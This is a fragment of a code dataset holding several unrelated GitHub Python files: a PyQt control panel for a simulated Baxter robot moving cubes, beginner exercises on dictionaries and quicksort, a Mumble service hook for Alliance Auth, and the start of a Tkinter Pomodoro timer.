QtWidgets.QHBoxLayout()\r\n space = QtWidgets.QLabel(' ')\r\n space.setAlignment(Qt.AlignCenter)\r\n an_line.addWidget(space)\r\n self.col_1.addLayout(an_line)\r\n\r\n self.One = QtWidgets.QPushButton('1')\r\n self.Two = QtWidgets.QPushButton('2')\r\n self.Three = QtWidgets.QPushButton('3')\r\n\r\n self.col_1.addWidget(self.One)\r\n self.col_1.addWidget(self.Two)\r\n self.col_1.addWidget(self.Three)\r\n\r\n self.One.clicked.connect(self.Detail_choice)\r\n self.Two.clicked.connect(self.Detail_choice)\r\n self.Three.clicked.connect(self.Detail_choice)\r\n\r\n def Commands(self):\r\n \"\"\"\r\n @col_2\r\n\r\n Commands gives access to three functions:\r\n Put the cube from it's position to the buffer.\r\n Rotate the cube that is lying on the buffer using rotation vector that was set by user.\r\n Put the cube from it's position to it's final position.\r\n\r\n Every button is connected to the btn_click method, that definies that robot is\r\n ready to execute chosen action.\r\n \"\"\"\r\n\r\n self.TAKE_CUBE = QtWidgets.QPushButton('Put the cube on the buffer')\r\n self.PUT_CUBE = QtWidgets.QPushButton('Put the cube on the destination')\r\n self.TURN_CUBE = QtWidgets.QPushButton('Rotate the cube')\r\n\r\n t_box = QtWidgets.QVBoxLayout()\r\n t_box.setAlignment(Qt.AlignBottom)\r\n\r\n an_line = QtWidgets.QHBoxLayout()\r\n self.C_1 = QtWidgets.QComboBox()\r\n self.C_2 = QtWidgets.QComboBox()\r\n self.C_3 = QtWidgets.QComboBox()\r\n self.C_4 = QtWidgets.QComboBox()\r\n\r\n self.C_1.addItems([\"X\", \"Y\", \"Z\"])\r\n self.C_2.addItems([\"0\", \"-1\", \"1\", \"2\"])\r\n self.C_3.addItems([\"X\", \"Y\", \"Z\"])\r\n self.C_4.addItems([\"0\", \"-1\", \"1\", \"2\"])\r\n\r\n an_line.addWidget(self.C_1)\r\n an_line.addWidget(self.C_2)\r\n an_line.addWidget(self.C_3)\r\n an_line.addWidget(self.C_4)\r\n\r\n self.col_2.addWidget(self.TAKE_CUBE)\r\n t_box.addLayout(an_line)\r\n t_box.addWidget(self.TURN_CUBE)\r\n t_box.addWidget(self.PUT_CUBE)\r\n\r\n self.col_2.addLayout(t_box)\r\n\r\n self.TURN_CUBE.clicked.connect(self.btn_click)\r\n self.TAKE_CUBE.clicked.connect(self.btn_click)\r\n self.PUT_CUBE.clicked.connect(self.btn_click)\r\n\r\n def Output(self):\r\n \"\"\"\r\n @col_3\r\n\r\n If user tries to execute impossible action, we send error sign\r\n to the output area.\r\n \"\"\"\r\n Err_sign = QtWidgets.QLabel('Output :')\r\n Err_sign.setAlignment(Qt.AlignCenter)\r\n Err_sign.setStyleSheet(\"color: white; font: 18px\")\r\n an_line = QtWidgets.QHBoxLayout()\r\n an_line.setAlignment(Qt.AlignTop)\r\n an_line.addWidget(Err_sign)\r\n self.col_3.addLayout(an_line)\r\n\r\n def End_commands(self):\r\n \"\"\"\r\n @col_4\r\n\r\n This method gives access to three actions:\r\n Reset current cube pose:\r\n Returns cube in the position (place and rotation) in which it was\r\n created using Reset_curr_cube method.\r\n Reset initial sequence:\r\n Returns to Cube configuration choice window using Back_to_number_choice method\r\n Quit the program:\r\n Quits from program. Since we could quit from the application both from window\r\n with cube configuration choice and also from control-panel window, I connected quit\r\n button to the btn_click method.\r\n \"\"\"\r\n\r\n col = QtWidgets.QVBoxLayout()\r\n col.setAlignment(Qt.AlignBottom)\r\n\r\n self.Reset_button = QtWidgets.QPushButton('Reset current cube pose')\r\n self.Reset_button.clicked.connect(self.Reset_curr_cube)\r\n\r\n self.Back_to_choice = QtWidgets.QPushButton('Reset initial sequence')\r\n self.Back_to_choice.clicked.connect(self.Back_to_number_choice)\r\n self.END = QtWidgets.QPushButton('Quit the program')\r\n self.END.clicked.connect(self.btn_click)\r\n\r\n col.addWidget(self.Reset_button)\r\n col.addWidget(self.Back_to_choice)\r\n col.addWidget(self.END)\r\n self.col_4.addLayout(col)\r\n\r\n def Reset_curr_cube(self):\r\n \"\"\"\r\n First of all function checks if exicution of the previous command\r\n wasn't finished. If so, we reset cube position using reset_one_cube function\r\n from world_creation.py\r\n\r\n If previous command is still executes, method sends message to the terminal.\r\n \"\"\"\r\n now = time.time()\r\n if(now - self.prev_command_finish > Time_for_break):\r\n self.Er_clean()\r\n if(self.detail!= 'None'):\r\n self.script_story.write('Cube ' + str(self.detail.split('_')[1]) + ' ' + 'was reseted\\n\\n')\r\n cube_num = int(str(self.detail.split('_')[1]))\r\n reset_one_cube(self.detail, cube_num, self.cubes_facet_numbers[cube_num-1])\r\n else:\r\n print('Previous command was running')\r\n\r\n def Back_to_number_choice(self):\r\n \"\"\"\r\n First of all function checks if exicution of the previous command\r\n wasn't finished. If so, we delete cubes from the simulation and then\r\n transform Robot control panel interface into Cubes configuration choice window\r\n using clearLayout and Cube_choice_window methods.\r\n\r\n If previous command is still executes, method sends message to the terminal.\r\n \"\"\"\r\n now = time.time()\r\n if(now - self.prev_command_finish > Time_for_break):\r\n self.script_story.write('= = = = = = = = = = = = = = = =\\n\\n')\r\n self.script_story.write('Cubes configuration was reseted\\n')\r\n self.Er_clean()\r\n delete_gazebo_models('cubes')\r\n self.clearLayout(self.window)\r\n self.Cube_choice_window()\r\n else:\r\n print('Previous command was running')\r\n\r\n def clearLayout(self, layout):\r\n \"\"\"\r\n Recursive deletion of all layouts and widgets that belongs to selected layout.\r\n \"\"\"\r\n\r\n if layout is not None:\r\n while layout.count():\r\n item = layout.takeAt(0)\r\n widget = item.widget()\r\n if widget is not None:\r\n widget.deleteLater()\r\n else:\r\n self.clearLayout(item.layout())\r\n\r\n def Get_arguments(self):\r\n \"\"\"\r\n Function that gets rotation vector from user, checks that it's valid and\r\n returns input as a list.\r\n \"\"\"\r\n self.Valid_config = 1\r\n c_1 = self.C_1.currentText().encode('ascii')\r\n c_2 = float(self.C_2.currentText())\r\n c_3 = self.C_3.currentText().encode('ascii')\r\n c_4 = float(self.C_4.currentText())\r\n if((c_1 == 'X' or c_1 == 'Y') and ((c_2 == 1) or (c_2 == -1)) ):\r\n self.Valid_config = 0\r\n if ((c_3 == 'X' or c_3 == 'Y') and ((c_4 == 1) or (c_4 == -1))):\r\n self.Valid_config = 0\r\n return [c_1, c_2, c_3, c_4]\r\n\r\n def Get_cubes_config(self):\r\n \"\"\"\r\n Function that gets cubes configuration vector from Cubes configuration choice window.\r\n \"\"\"\r\n cube_1 = int(self.CUBE_1.currentText())\r\n cube_2 = int(self.CUBE_2.currentText())\r\n cube_3 = int(self.CUBE_3.currentText())\r\n return [cube_1, cube_2, cube_3]\r\n\r\n def btn_click(self):\r\n \"\"\"\r\n First of all function checks if exicution of the previous command wasn't finished.\r\n If previous command is still executes, method sends message to the terminal.\r\n\r\n Else:\r\n The basic idea is that to perform the action requested by the user, the conditions\r\n necessary for this action must be met in the simulation world. For example, in order for\r\n the robot to transfer the cube from the initial position to the buffer, the cube must\r\n be selected, the cube must not yet be on the buffer, the cube must be in the robot's\r\n access zone (in our case, not on the floor) and the buffer must be free.\r\n\r\n In case every condition for action is satisfied, function will execute it. Otherwise,\r\n it will return Error message to the Output area.\r\n\r\n For future programmers, all \"if\" cases could be merged together, but separation of the cases\r\n by the action that we have to execute, makes code more readable.\r\n \"\"\"\r\n now = time.time()\r\n if(now - self.prev_command_finish > Time_for_break):\r\n # Every time user executes any action, program deletes error message at the output\r\n # area (if was there) and checks current configuration in every 'if' down the road.\r\n self.Er_clean()\r\n\r\n arm = 'left'\r\n sender = self.sender()\r\n self.angle = self.Get_arguments()\r\n\r\n if (self.Type_enter): # If we pressed button 1 or 2 or 3:\r\n temp_pos = get_actual_pose(self.detail)\r\n if( temp_pos[2] - 0.92 < - 0.2):\r\n self.Detail_on_the_floor = 1\r\n else:\r\n self.Detail_on_the_floor = 0\r\n\r\n if( temp_pos[0] > 0.53 and temp_pos[0] < 0.63 and\r\n temp_pos[1] > 0.57 and temp_pos[1] < 0.715):\r\n self.Detail_on_the_buffer = 1\r\n else:\r\n self.Detail_on_the_buffer = 0\r\n\r\n if sender.text() == 'Put the cube on the buffer':\r\n self.Cube_is_already_on_buffer = 0\r\n self.Buffer_is_free = 1\r\n\r\n for detail in details:\r\n temp_pos = get_actual_pose(detail)\r\n if (temp_pos[0] > 0.53 and temp_pos[0] < 0.63 and\r\n temp_pos[1] > 0.57 and temp_pos[1] < 0.715 and temp_pos[2] - 0.92 > - 0.2):\r\n self.Buffer_is_free = 0\r\n if (detail == self.detail):\r\n self.Cube_is_already_on_buffer = 1\r\n\r\n if (self.Type_enter):\r\n if( not self.Detail_on_the_floor):\r\n if (not self.Cube_is_already_on_buffer):\r\n if(self.Buffer_is_free):\r\n self.ToBuffCmd(arm)\r\n self.script_story.write(\r\n 'Cube ' + str(self.detail.split('_')[1]) + ' was taken to the buffer at ' +\r\n time.asctime().split(' ')[-2] + '\\n')\r\n print('Cube ' + str(self.detail.split('_')[1]) + ' was taken to the buffer at ' +\r\n time.asctime().split(' ')[-2] + '\\n')\r\n self.time_for_action = time.time()\r\n self.prev_command_finish = time.time()\r\n else:\r\n self.Error('Buffer is already occupied')\r\n else:\r\n self.Error('Cube is already on buffer')\r\n else:\r\n self.Error('Detail is on the floor')\r\n else:\r\n self.Error('Detail')\r\n\r\n if sender.text() == 'Rotate the cube':\r\n if(self.Type_enter):\r\n if (self.Valid_config):\r\n if (not self.Detail_on_the_floor):\r\n angle = self.angle\r\n if (self.Detail_on_the_buffer):\r\n if (angle[0] != angle[2] or angle[1] != angle[3]):\r\n angle1 = angle[0] + ', '\r\n angle2 = str(int(angle[1])) + ', '\r\n angle3 = angle[2] + ', '\r\n angle4 = str(int(angle[3]))\r\n str_angle = angle1 + angle2 + angle3 + angle4\r\n self.script_story.write('Rotating by ' + str_angle + '\\n')\r\n self.TurnCmd(arm)\r\n self.prev_command_finish = time.time()\r\n else:\r\n self.Error('Nothing to do')\r\n else:\r\n self.Error('Detail is not on the buffer')\r\n else:\r\n self.Error('Detail is on the floor')\r\n else:\r\n self.Error('Configuration')\r\n else:\r\n self.Error('Detail')\r\n\r\n if sender.text() == 'Put the cube on the destination':\r\n\r\n self.Cube_is_already_on_destination = 0\r\n temp_pos = get_actual_pose(self.detail)\r\n if (temp_pos[0] > -0.1 and temp_pos[0] < -0.053988 and\r\n temp_pos[1] > 0.720928 and temp_pos[1] < 0.977914 and temp_pos[2] - 0.92 > - 0.2):\r\n self.Cube_is_already_on_destination = 1\r\n\r\n if(self.Type_enter):\r\n if (not self.Detail_on_the_floor):\r\n if(not self.Cube_is_already_on_destination):\r\n if (self.Detail_on_the_buffer):\r\n self.script_story.write(\r\n 'Cube ' + str(self.detail.split('_')[1]) + ' was taken to the destination at ' + time.asctime().split(' ')[-2] + '\\n')\r\n print('Cube ' + str(self.detail.split('_')[1]) + ' was taken to the destination at ' + time.asctime().split(' ')[-2] + '\\n')\r\n time_for_one_cube = time.time() - self.time_for_action\r\n self.script_story.write('Time spent on '\r\n 'Cube ' + str(self.detail.split('_')[1]) + ' : ' + str(\r\n round(time_for_one_cube, 2)) + ' seconds' + '\\n\\n')\r\n print('Time spent on '\r\n 'Cube ' + str(self.detail.split('_')[1]) + ' : ' + str(\r\n round(time_for_one_cube, 2)) + ' seconds' + '\\n')\r\n self.ToFinCmd(arm)\r\n self.prev_command_finish = time.time()\r\n else:\r\n self.Error('Detail is not on the buffer')\r\n else:\r\n self.Error('Cube is already on destination')\r\n else:\r\n self.Error('Detail is on the floor')\r\n else:\r\n self.Error('Detail')\r\n\r\n if sender.text() == 'Quit the program':\r\n self.CloseCmd()\r\n else:\r\n print('Previous command was running')\r\n\r\n def ToBuffCmd(self, arm ='left'):\r\n \"\"\"\r\n Gets position of the cube that we want to take.\r\n Sends command to the @baxter to move it to the buffer using chosen hand.\r\n \"\"\"\r\n print(\"Moves detail to the buffer\")\r\n temp = get_actual_pose(self.detail)\r\n self.baxter.l_gripper.open()\r\n self.baxter.take_the_cube_from_start(arm, temp, self.detail)\r\n print('Done!')\r\n\r\n def TurnCmd(self, arm = 'left'):\r\n \"\"\"\r\n Gets position of the cube that we want to rotate for more accurate grab.\r\n Sends command to the @baxter to rotate the cube using rotation vector.\r\n \"\"\"\r\n angle = self.angle\r\n print(\"Turns cube by angle: \", angle)\r\n temp = get_actual_pose(self.detail)\r\n self.baxter.l_gripper.open()\r\n self.baxter.turn_the_cube_on_buffer(angle, temp, arm )\r\n print('Done!')\r\n\r\n def ToFinCmd(self, arm='left'):\r\n \"\"\"\r\n Gets position of the cube that we want to take.\r\n Sends command to the @baxter to move it to the final position using chosen hand.\r\n \"\"\"\r\n print(\"Moves detail to the buffer\")\r\n temp = get_actual_pose(self.detail)\r\n cube_type = int(self.detail.split('_')[1])\r\n self.baxter.l_gripper.open()\r\n self.baxter.take_the_cube_to_finish(arm, temp, cube_type)\r\n print('Done!')\r\n\r\n def CloseCmd(self):\r\n \"\"\"\r\n Safe way to exit from the program. It checkes that robot finished execution of\r\n the previous action and close output file before closing the application.\r\n \"\"\"\r\n now = time.time()\r\n if (now - self.prev_command_finish > Time_for_break):\r\n delete_gazebo_models('all')\r\n self.script_story.close()\r\n print('Bye!')\r\n self.close()\r\n else:\r\n print('Previous command was running')\r\n\r\n def Error(self, er_type):\r\n \"\"\"\r\n Sends error message to the output area using error type, from btn_click method.\r\n \"\"\"\r\n if (er_type == 'Nothing to do'):\r\n if (self.Nth_do_flag == 0) :\r\n self.Nth_do_sign = QtWidgets.QLabel('Pointless action')\r\n self.Nth_do_sign.setStyleSheet(\"color: red; font: 18px\")\r\n self.Nth_do_sign.setAlignment(Qt.AlignCenter)\r\n self.col_3.addWidget(self.Nth_do_sign)\r\n self.Nth_do_flag = 1\r\n if (er_type == 'Configuration'):\r\n if (self.Crd_flag == 0 and self.Valid_config == 0) :\r\n self.Crd_sign = QtWidgets.QLabel('Invalid command')\r\n self.Crd_sign.setAlignment(Qt.AlignCenter)\r\n self.Crd_sign.setStyleSheet(\"color: red; font: 18px\")\r\n self.col_3.addWidget(self.Crd_sign)\r\n self.Crd_flag = 1\r\n if (er_type == 'Detail'):\r\n if (self.Type_flag == 0 and self.Type_enter == 0):\r\n self.Type_sign = QtWidgets.QLabel('Detail type \\nwasn\\'t chosen')\r\n self.Type_sign.setAlignment(Qt.AlignCenter)\r\n self.Type_sign.setStyleSheet(\"color: red; font: 18px\")\r\n self.col_3.addWidget(self.Type_sign)\r\n self.Type_flag = 1\r\n if (er_type == 'Detail is on the floor'):\r\n if (self.Floor_flag == 0):\r\n self.Floor_sign = QtWidgets.QLabel('Detail is on\\n the floor')\r\n self.Floor_sign.setAlignment(Qt.AlignCenter)\r\n self.Floor_sign.setStyleSheet(\"color: red; font: 18px\")\r\n self.col_3.addWidget(self.Floor_sign)\r\n self.Floor_flag = 1\r\n if (er_type == 'Detail is not on the buffer'):\r\n if (self.Not_on_the_buffer_flag == 0):\r\n self.Not_on_the_buffer_sign = QtWidgets.QLabel('Cube is not\\n on the buffer')\r\n self.Not_on_the_buffer_sign.setAlignment(Qt.AlignCenter)\r\n self.Not_on_the_buffer_sign.setStyleSheet(\"color: red; font: 18px\")\r\n self.col_3.addWidget(self.Not_on_the_buffer_sign)\r\n self.Not_on_the_buffer_flag = 1\r\n if (er_type == 'Buffer is already occupied'):\r\n if (self.Buffer_is_not_free_flag == 0):\r\n self.Buffer_is_not_free_sign = QtWidgets.QLabel('Buffer is\\n already occupied')\r\n self.Buffer_is_not_free_sign.setAlignment(Qt.AlignCenter)\r\n self.Buffer_is_not_free_sign.setStyleSheet(\"color: red; font: 18px\")\r\n self.col_3.addWidget(self.Buffer_is_not_free_sign)\r\n self.Buffer_is_not_free_flag = 1\r\n if (er_type == 'Cube is already on buffer'):\r\n if (self.Cube_is_already_on_buffer_flag == 0):\r\n self.Cube_is_already_on_buffer_sign = QtWidgets.QLabel('Cube is already\\n on buffer')\r\n self.Cube_is_already_on_buffer_sign.setAlignment(Qt.AlignCenter)\r\n self.Cube_is_already_on_buffer_sign.setStyleSheet(\"color: red; font: 18px\")\r\n self.col_3.addWidget(self.Cube_is_already_on_buffer_sign)\r\n self.Cube_is_already_on_buffer_flag = 1\r\n if (er_type == 'Cube is already on destination'):\r\n if (self.Cube_is_already_on_destination_flag == 0):\r\n self.Cube_is_already_on_destination_sign = QtWidgets.QLabel('Cube is already\\n on destination')\r\n self.Cube_is_already_on_destination_sign.setAlignment(Qt.AlignCenter)\r\n self.Cube_is_already_on_destination_sign.setStyleSheet(\"color: red; font: 18px\")\r\n self.col_3.addWidget(self.Cube_is_already_on_destination_sign)\r\n self.Cube_is_already_on_destination_flag = 1\r\n\r\n def Er_clean(self):\r\n \"\"\"\r\n Deletes any error messages that appears to be in the output area.\r\n \"\"\"\r\n if(self.Type_flag):\r\n self.Type_sign.deleteLater()\r\n self.Type_flag = 0\r\n if (self.Crd_flag):\r\n self.Crd_sign.deleteLater()\r\n self.Crd_flag = 0\r\n if (self.Floor_flag):\r\n self.Floor_sign.deleteLater()\r\n self.Floor_flag = 0\r\n if (self.Nth_do_flag):\r\n self.Nth_do_sign.deleteLater()\r\n self.Nth_do_flag = 0\r\n if (self.Not_on_the_buffer_flag):\r\n self.Not_on_the_buffer_sign.deleteLater()\r\n self.Not_on_the_buffer_flag = 0\r\n if (self.Buffer_is_not_free_flag):\r\n self.Buffer_is_not_free_sign.deleteLater()\r\n self.Buffer_is_not_free_flag = 0\r\n if (self.Cube_is_already_on_buffer_flag):\r\n self.Cube_is_already_on_buffer_sign.deleteLater()\r\n self.Cube_is_already_on_buffer_flag = 0\r\n if (self.Cube_is_already_on_destination_flag):\r\n self.Cube_is_already_on_destination_sign.deleteLater()\r\n self.Cube_is_already_on_destination_flag = 0\r\n\r\n def Detail_choice(self):\r\n \"\"\"\r\n First of all function checks if exicution of the previous command\r\n wasn't finished. If so, @detail becomes chosen cube,\r\n pushed button highlights in orange, and @curr_cube_pos gets\r\n @detail position in simulator using gms_client function from world_creation.py.\r\n\r\n If previous command is still executes, method sends message to the terminal.\r\n \"\"\"\r\n now = time.time()\r\n if(now - self.prev_command_finish > Time_for_break):\r\n self.Type_enter = 1\r\n self.Er_clean()\r\n sender = self.sender()\r\n self.detail = 'cube_' + str(sender.text())\r\n\r\n if(int(str(sender.text())) == 1):\r\n self.One.setStyleSheet(\"color: black; background-color: orange;\")\r\n self.Two.setStyleSheet(\"color: black; \")\r\n self.Three.setStyleSheet(\"color: black; \")\r\n if(int(str(sender.text())) == 2):\r\n self.One.setStyleSheet(\"color: black; \")\r\n self.Two.setStyleSheet(\"color: black; background-color: orange;\")\r\n self.Three.setStyleSheet(\"color: black; \")\r\n if(int(str(sender.text())) == 3):\r\n self.One.setStyleSheet(\"color: black;\")\r\n self.Two.setStyleSheet(\"color: black;\")\r\n self.Three.setStyleSheet(\"color: black; background-color: orange;\")\r\n\r\n self.curr_cube_pos = [gms_client(self.detail, \"world\").pose.position.x,\r\n gms_client(self.detail, \"world\").pose.position.y,\r\n gms_client(self.detail, \"world\").pose.position.z]\r\n print(self.curr_cube_pos)\r\n else:\r\n print('Previous command was running')\r\n\r\ndef real_main():\r\n \"\"\"\r\n Main function creates object of Interface class and runs it as window application.\r\n \"\"\"\r\n app = QtWidgets.QApplication(sys.argv)\r\n a_window = Interface()\r\n sys.exit(app.exec_())\r\n\r\nif __name__ == '__main__':\r\n real_main()\r\n\r\n\"\"\"\r\nCubes configuration choice window\r\nRobot control panel interface\r\n\"\"\"","repo_name":"Stayermax/SpeechGame","sub_path":"English_helper/robot_interface.py","file_name":"robot_interface.py","file_ext":"py","file_size_in_byte":34396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"40144230638","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Mar 5 11:10:19 2018\n\n@author: Webster\n\"\"\"\nalien_0 = {}\nalien_0[\"color\"] = \"green\"\nalien_0[\"points\"] = 15\nprint (alien_0)\nalien_0 = {\"color\" : \"green\"}\nprint (\"The color of the alien is \"+ \" \" +alien_0[\"color\"] + \".\")\nalien_0 = {\"color\" : \"yellow\"}\nprint (\"The new color of the alien is now\" + \" \" + alien_0[\"color\"] + \".\" )\nalien_0 = {\"x_position\" : 0 , \"y_position\" : 25 , \"color\" : \"green\" , \"speed\" : \"medium\"}\n#Lets attempt to find the new position of the alien based on their speed.\nif alien_0[\"speed\"] == \"slow\":\n x_increment = 1\nelif alien_0[\"speed\"] == \"medium\":\n x_increment = 3\nelse:\n x_increment = 9\n \n\n# to find the new position of the alien, we add the x increment to the original x position of the alien.\nalien_0[\"x_position\"] = alien_0[\"x_position\"] + x_increment\nprint (\"The new position of the alien is \" + \" \" +str (alien_0[\"x_position\"]))\n#The above code helped us obtain the x_position only.\n# Now let us attempt to get both the x and y position of the alien after moving it.\nprint (alien_0)\nif alien_0[\"speed\"] == \"slow\":\n x_increment = 3\n y_increment = 5\nelif alien_0[\"speed\"] == \"medium\":\n x_increment = 9\n y_increment = 15\nelse:\n x_increment = 27\n y_increment = 45\n# Just like in the previous cases, the new position is found by adding the original position to the increment. \nalien_0[\"x_position\"] = alien_0[\"x_position\"] + x_increment\nalien_0[\"y_position\"] = alien_0[\"y_position\"] + y_increment\nprint (\"The new x coordinate is \" + \" \" + str(alien_0[\"x_position\"]))\nprint (\"The new y coordinate is \" + \" \" + str(alien_0[\"y_position\"]))\n#Pat yourself man. that was easy. \nprint (alien_0)\n#Now what if we want to remove some information from our dictionary. \ndel alien_0[\"speed\"]\nprint(alien_0)\n#A dictionary containing simmilar objects.\nfavorite_languages = {\n \"Ning'i\" : \"python\" , \n \"domi\" : \"fortran\" , \n \"izo\" : \"java\" , \n \"corne\" : \"pascal\" ,\n }\nprint (\"favorite_languages\")\nprint (favorite_languages)\nprint (\"Ningi's favorite language is \" + \n favorite_languages[\"Ning'i\"].title()\n + \".\")\n\n \n\n\n ","repo_name":"patrickpato/numpy","sub_path":"dictionaries.py","file_name":"dictionaries.py","file_ext":"py","file_size_in_byte":2164,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"20057960206","text":"from add import add\nfrom sub import sub\n\ndef main():\n \"\"\"Uses addition and subtraction for demonstration.\"\"\"\n a = 1\n b = 2\n print('%d plus %d is %d' % (a, b, add(a, b)))\n print('%d minus %d is %d' % (a, b, sub(a, b)))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"jbteves/git_practice","sub_path":"unify.py","file_name":"unify.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"18728341624","text":"import logging\n\nfrom django.conf import settings\nfrom django.template.loader import render_to_string\nfrom allianceauth.notifications import notify\n\nfrom allianceauth import hooks\nfrom allianceauth.services.hooks import ServicesHook\nfrom .tasks import MumbleTasks\nfrom .models import MumbleUser\nfrom .urls import urlpatterns\n\nlogger = logging.getLogger(__name__)\n\n\nclass MumbleService(ServicesHook):\n def __init__(self):\n ServicesHook.__init__(self)\n self.name = 'mumble'\n self.urlpatterns = urlpatterns\n self.service_url = settings.MUMBLE_URL\n self.access_perm = 'mumble.access_mumble'\n self.service_ctrl_template = 'services/mumble/mumble_service_ctrl.html'\n self.name_format = '[{corp_ticker}]{character_name}'\n\n def delete_user(self, user, notify_user=False):\n logging.debug(\"Deleting user %s %s account\" % (user, self.name))\n try:\n if user.mumble.delete():\n if notify_user:\n notify(user, 'Mumble Account Disabled', level='danger')\n return True\n return False\n except MumbleUser.DoesNotExist:\n logging.debug(\"User does not have a mumble account\")\n\n def update_groups(self, user):\n logger.debug(\"Updating %s groups for %s\" % (self.name, user))\n if MumbleTasks.has_account(user):\n MumbleTasks.update_groups.delay(user.pk)\n\n def validate_user(self, user):\n if MumbleTasks.has_account(user) and not self.service_active_for_user(user):\n self.delete_user(user, notify_user=True)\n\n def update_all_groups(self):\n logger.debug(\"Updating all %s groups\" % self.name)\n MumbleTasks.update_all_groups.delay()\n\n def service_active_for_user(self, user):\n return user.has_perm(self.access_perm)\n\n def render_services_ctrl(self, request):\n urls = self.Urls()\n urls.auth_activate = 'mumble:activate'\n urls.auth_deactivate = 'mumble:deactivate'\n urls.auth_reset_password = 'mumble:reset_password'\n urls.auth_set_password = 'mumble:set_password'\n\n return render_to_string(self.service_ctrl_template, {\n 'service_name': self.title,\n 'urls': urls,\n 'service_url': self.service_url,\n 'connect_url': request.user.mumble.username + '@' + self.service_url if MumbleTasks.has_account(request.user) else self.service_url,\n 'username': request.user.mumble.username if MumbleTasks.has_account(request.user) else '',\n }, request=request)\n\n\n@hooks.register('services_hook')\ndef register_mumble_service():\n return MumbleService()\n","repo_name":"allianceauth/allianceauth","sub_path":"allianceauth/services/modules/mumble/auth_hooks.py","file_name":"auth_hooks.py","file_ext":"py","file_size_in_byte":2642,"program_lang":"python","lang":"en","doc_type":"code","stars":137,"dataset":"github-code","pt":"82"} +{"seq_id":"23662988085","text":"class Stack:\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n try:\n return self.items.pop()\n except IndexError:\n print(\"Stack is empty\")\n\n def peek(self):\n try:\n return self.items[-1]\n except IndexError:\n print(\"Stack is empty\")\n\n def top(self):\n return len(self.items)\n\n def isEmpty(self):\n return self.items.__len__() == 0\n\n\n\ndef quick_sort2(arr, lo, hi):\n size = hi - lo + 1\n stack = [0 for i in range(size)]\n top = -1\n\n top += 1\n stack.append(lo)\n top += 1\n stack.append(hi)\n\n while top >= 0:\n\n hi = stack.pop()\n top -= 1\n lo = stack.pop()\n top -= 1\n\n pivot = partition(arr, lo, hi)\n\n if pivot -1 > lo:\n top += 1\n stack.append(lo)\n top += 1\n stack.append(pivot -1)\n\n if pivot+1 < hi:\n top += 1\n stack.append(pivot + 1)\n top += 1\n stack.append(hi)\n\ndef partition2(arr, lo, hi):\n i = lo - 1\n\n for j in range(lo, hi):\n if arr[j] <= arr[hi]:\n i += 1\n arr[i], arr[j] = arr[j], arr[i]\n\n arr[i+1], arr[hi] = arr[hi], arr[i+1]\n print(arr)\n return i+1\n\ndef quick_sort(arr, lo, hi):\n stack = Stack()\n\n stack.push(lo)\n stack.push(hi)\n\n while stack.isEmpty() != True:\n\n hi = stack.pop()\n lo = stack.pop()\n\n pivot = partition(arr, lo, hi)\n\n if pivot-1 > lo:\n stack.push(lo)\n stack.push(pivot -1)\n\n if pivot+1 < hi:\n stack.push(pivot + 1)\n stack.push(hi)\n\ndef partition(arr, pivot, hi):\n\n i = pivot + 1\n j = hi\n while True:\n while i < hi and arr[i] < arr[pivot]:\n i += 1\n while j > pivot and arr[j] > arr[pivot]:\n j -= 1\n if j <= i:\n break\n arr[i], arr[j] = arr[j], arr[i]\n i += 1\n j -= 1\n\n arr[pivot], arr[j] = arr[j], arr[pivot]\n print(arr[j], j)\n return j\n\n\nif __name__ == \"__main__\" :\n a = [4,2,8,5,3,9,7,40, 23, 42, 34, 53, 32, 22, 34, 53,0]\n #a = [3,2,4,5,8]\n print(\"\\n\")\n quick_sort(a, 0, len(a)-1)\n print(\"result is\", a)\n\n\n'''\nef quick_sort2(arr, lo, hi):\n size = hi - lo + 1\n stack = [0 for i in range(size)]\n top = -1\n\n top += 1\n stack.append(lo)\n top += 1\n stack.append(hi)\n\n while top >= 0:\n\n hi = stack.pop()\n top -= 1\n lo = stack.pop()\n top -= 1\n\n pivot = partition(arr, lo, hi)\n\n if pivot -1 > lo:\n top += 1\n stack.append(lo)\n top += 1\n stack.append(pivot -1)\n\n if pivot+1 < hi:\n top += 1\n stack.append(pivot + 1)\n top += 1\n stack.append(hi)\n\ndef partition2(arr, lo, hi):\n i = lo - 1\n\n for j in range(lo, hi):\n if arr[j] <= arr[hi]:\n i += 1\n arr[i], arr[j] = arr[j], arr[i]\n\n arr[i+1], arr[hi] = arr[hi], arr[i+1]\n return i+1\n\n\n'''","repo_name":"JijoongHong/Algorithms","sub_path":"5-2_non_recursive_quick_sort.py","file_name":"5-2_non_recursive_quick_sort.py","file_ext":"py","file_size_in_byte":3116,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"73364573388","text":"from tkinter import *\n\n# ---------------------------- CONSTANTS ------------------------------- #\nPINK = \"#e2979c\"\nRED = \"#e7305b\"\nGREEN = \"#9bdeac\"\nYELLOW = \"#f7f5dd\"\nFONT_NAME = \"Courier\"\nWORK_MIN = 25 * 60\nSHORT_BREAK_MIN = 5 * 60\nLONG_BREAK_MIN = 20 * 60\nreps = 0\n\ncheck_mark = \"✔\"\ncheck_mark1 = \"✔\"\ntimer = None\n\n\n# ---------------------------- TIMER RESET ------------------------------- #\ndef reset_timer():\n global reps\n canvas.after_cancel(timer)\n canvas.itemconfig(time_left, text=\"00:00\")\n timer_lable.config(text=\"Timer\")\n reps = 0\n check_mark = \"✔\"\n check_lable.config(text=\"\")\n\n# ---------------------------- TIMER MECHANISM ------------------------------- #\n\ndef start_timer():\n global reps\n\n reps += 1\n if reps % 8 == 0:\n countdown(LONG_BREAK_MIN)\n timer_lable.config(text=\"LONG BREAK\", fg=RED)\n elif reps % 2 == 0:\n countdown(SHORT_BREAK_MIN)\n timer_lable.config(text=\"BREAK\", fg=GREEN)\n elif reps % 2 == 1:\n countdown(WORK_MIN)\n timer_lable.config(text=\"WORK\", fg=PINK, )\n\n\n# ---------------------------- COUNTDOWN MECHANISM ------------------------------- #\n\n# define the countdown func.\ndef countdown(count):\n global check_mark\n global timer\n if count >= 0:\n minutes, seconds = divmod(count, 60)\n time_format = '{:02d}:{:02d}'.format(minutes, seconds)\n 